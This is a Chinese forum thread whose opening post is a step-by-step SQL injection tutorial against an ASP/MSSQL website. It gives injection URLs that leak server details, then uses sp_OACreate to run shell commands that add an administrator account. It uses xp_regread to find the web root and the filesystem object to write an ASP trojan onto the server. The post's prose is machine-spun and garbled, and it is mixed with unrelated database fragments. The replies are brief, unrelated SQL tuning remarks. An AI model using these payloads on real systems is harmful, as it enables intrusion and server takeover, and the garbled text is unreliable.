仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 896|回复: 7
打印 上一主题 下一主题

[学习教程] MSSQL编程:榨干MS SQL Server 最初一滴血

[复制链接]
飘灵儿 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:26:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
索引是一种特殊的文件(InnoDB数据表上的索引是表空间的一个组成部分),它们包含着对数据表里所有记录的引用指针。索引不是万能的,索引可以加快数据检索操作,但会使数据修改操作变慢。每修改数据记录,索引就必须刷新一次。server风云变更的收集,收集平安让人们不克不及不存眷它。数据库,让我们不能不想起壮大的ORACLE,MSSQL。微软的毛病最多,明天就用SQLINJECTION来让MSSQL为我们好好的事情。  以下(利用一出名网站作为测试点),信任人人对SQL爆库,爆表,爆字段都已把握,在这里就未几说这方面了。
  MSSQL内置函数先容:
  @@VERSION取得Windows的版本号,MSSQL的版本号,补钉。User_name()失掉以后体系的毗连用户Db_name()失掉以后毗连的数据库HOST_NAME()失掉以后主机的称号
  这些信息有助我们对体系举行复杂的懂得
  好,上面我们就入手下手吧!
  语句:
http://www.xxx.com/list.asp?classid=1
  前往信息:
MicrosoftOLEDBProviderforSQLServer毛病80040e14字符串OrderByIdDESC之前有未闭合的引号。/list.asp,行290
  从这里未闭合的引号(“’”),我们能够断定存在SQLINJECTION。发明在毛病固然接着走了,使用以上先容的函数为我们事情了:
  语句:
http://www.xxx.com/list.asp?classid=1and0(select@@version)
  前往:
MicrosoftOLEDBProviderforSQLServer毛病80040e07将nvarchar值MicrosoftSQLServer2000-8.00.760(IntelX86)Dec17200214:22:05Copyright(c)1988-2003MicrosoftCorporationStandardEditiononWindowsNT5.0(Build2195:ServicePack4)转换为数据范例为int的列时产生语法毛病。/list.asp,行290
  相干的信息出来了,MSSERVERADVANCEDSERVER2000+SP4,SQL2000+SP3,从MSSQLSERVER前面的8.00.760可看出是SP3补钉。看了服务器的信息,接下应当懂得数据库的权限了:
  语句:
http://www.xxx.com/list.asp?classid=1anduser_name()=’dbo’
  前往:一般前往的信息
  断定是权限是DBO,从外表DBO权限的毗连用户常常是触及SYSADMIN服务器脚色成员。申明数据库服务器脚色成员组默许是在每一个数据库增添一个DBO用户。
  前往道理根1=1,1=2类似..这里只是权限测试,我们也把它爆出来看看:
  语句:
http://www.xxx.com/list.asp?classid=1and0(selectuser_name())
  前往:
MicrosoftOLEDBProviderforSQLServer毛病80040e07将nvarchar值dbo转换为数据范例为int的列时产生语法毛病。/list.asp,行290
  申明毗连数据库的用户权限很高,能够断定是服务器脚色组中的成员。
  语句:http://www.xxx.com/list.asp?classid=1and0(selectdb_name())―前往:MicrosoftOLEDBProviderforSQLServer毛病80040e07将nvarchar值GameIMGSys转换为数据范例为int的列时产生语法毛病。/list.asp,行290
  如许就能够爆出以后的数据库。失掉这么高权限的数据库毗连成员,我们固然想间接失掉WEBSHELL,或是间接拿到NTADMIN。NTADMIN取决于以后服务器的设置,假如设置分歧理的服务器,我们要间接拿NTADMIN,拿NTADMIN就要用到:
  MSSQL内置存储历程:
  sp_OACreate(经由过程它,伤害很得更年夜,可是必要有SYSADMINS权限才大概利用)sp_OAGetErrorInfosp_OAGetPropertysp_OAMethodsp_OASetPropertysp_SetPropertysp_OAStop
  因为MSSQL一次能够实行多语句,使得我们无机会利用更多的语句。
  语句:
http://www.xxx.com/list.asp?classid=1;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:WINNTsystem32cmd.exe/cnetusercntestchinatest/add
  一般前往。(提醒:假如主机上shell存在的话那将在服务器上创立一个cntest的用户)
  创立用户了,语句后再加个netlocalgroupadministratorscntest/add加到办理组中。假如对方的机子开着3389端口,或IPC的话,那接上去的事,就不必我多说了。
  碰到专业型主机,只开一个80端口,那应当怎样办呢?固然,我们仍是大概拿到WEBSHELL,再渐渐浸透的。
  因为权限高,我们大概先建表,写进ASP木马的数据再经由过程MAKEWEBTASK,失掉WEBSEHLL.手工写进的程序太甚于繁锁,上传WEBSHELL最年夜的成绩仍是网页目次,如今网上已有现成的工具经由过程BACKUP,和MASKWEBTASK的工具失掉WEBSHELL了。以下保举,猎取网页路径(经由过程存储历程到达对注册表的读取):
  使用内置存储历程xp_regread(读取注册表键值,权限public):
  语句:
http://www.xxx.com/list.asp?classid=1;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtualRoots,@value_name=/,values=@testOUTPUTinsertintopaths(path)values(@test)
  IIS的默许路径的在注册表中HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVCParametersVirtualRoots
  使用爆字段将数据库的值读出来:
  语句:
http://www.xxx.com/list.asp?classid=1and0(selecttop1pathsfromnewtable)
  前往:
MicrosoftOLEDBProviderforODBCDrivers毛病80040e07[Microsoft][ODBCSQLServerDriver][SQLServer]将varchar值E:www,,201转换为数据范例为int的列时产生语法毛病。
  这申明网页目次在E:www,接上去也能够使用FSO间接写进ASP木马(提醒必需拥用SYSADMIN权限才可以使用FSO和FSO开进的条件下):
  语句:
http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20scripting.filesystemobject,
%20@o%20out%20exec%20sp_oamethod%20@o,%20createtextfile,%20@f%20out,%20e:www        est.asp,
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20writeline,%20NULL,%20OnErrorResumeNext
  在E:WWW下创立一个test.asp并写进OnErrorResumenext语句:
http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20scripting.filesystemobject,
%20@o%20out%20exec%20sp_oamethod%20@o,%20opentextfile,
%20@f%20out,%20e:www        est.asp,8%20exec%20@ret%20=%20sp_oamethod%20@f,%20writeline,%20NULL,%20asphorse
  在E:WWW        est.asp增添一行纪录,纪录为asphorse,全部完全木马大概如许写进。(%百分号要用%25替换写进)。假如得不到网页目次,怎样办呢?条件你要猜到网站是不是利用默许WEB,大概利用域名作为WEB。
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,’cscript.exec:inetpubwwwrootmkwebdir.vbs-w"默许Web站点"-v"e","e:"’
  在默许的WEB站点下创立一个假造目次E,指向E:盘下。
declare@ointexecsp_oacreatewscript.shell,@ooutexecsp_oamethod@o,run,NULL,’cscript.exec:inetpubwwwrootchaccess.vbs-aw3svc/1/ROOT/e+browse’
  给假造目次e加上扫瞄属性不错吧。给本人开假造服务。想那些网页目次路径,头都快破了。这下给本人一个天开眼了。那传WEBSHELL使用MSSQL为我们的事情告了一段落了,接上去事情应当由你来了。
mysql使用内部操作字符集gbk来进行操作,即执行"SELECT*FROMtestWHEREname=xxxor1=1/*LIMIT1";从而注入成功
小魔女 该用户已被删除
沙发
发表于 2015-1-18 18:20:46 | 只看该作者
其实可以做一下类比,Oracle等数据库产品老早就支持了java编程,而且提供了java池参数作为用户配置接口。但是现在有哪些系统大批使用了java存储过程?!连Oracle自己的应用都不用为什么?!
金色的骷髅 该用户已被删除
板凳
发表于 2015-1-22 20:35:11 | 只看该作者
groupby子句可以将查询结果分组,并返回行的汇总信息Oracle按照groupby子句中指定的表达式的值分组查询结果。
精灵巫婆 该用户已被删除
地板
发表于 2015-1-31 11:35:15 | 只看该作者
一直以来个人感觉SQLServer的优化器要比Oracle的聪明。SQL2005的更是比2k聪明了不少。(有次作试验发现有的语句在200万级时还比50万级的相同语句要快show_text的一些提示没有找到解释。一直在奇怪。)
变相怪杰 该用户已被删除
5#
发表于 2015-2-6 19:17:19 | 只看该作者
having子句的作用是筛选满足条件的组,即在分组之后过滤数据,条件中经常包含聚组函数,使用having条件显示特定的组,也可以使用多个分组标准进行分组。
只想知道 该用户已被删除
6#
发表于 2015-2-18 09:06:18 | 只看该作者
也可谈一下你是怎么优化存储过程的?
第二个灵魂 该用户已被删除
7#
发表于 2015-3-12 20:37:39 | 只看该作者
不过话说回来了,绝大多数的性能优化准则与对sqlserver存储的结构理解息息相关
柔情似水 该用户已被删除
8#
发表于 2015-3-20 02:30:56 | 只看该作者
光写几个SQL实在叫无知。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2025-3-13 03:36

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表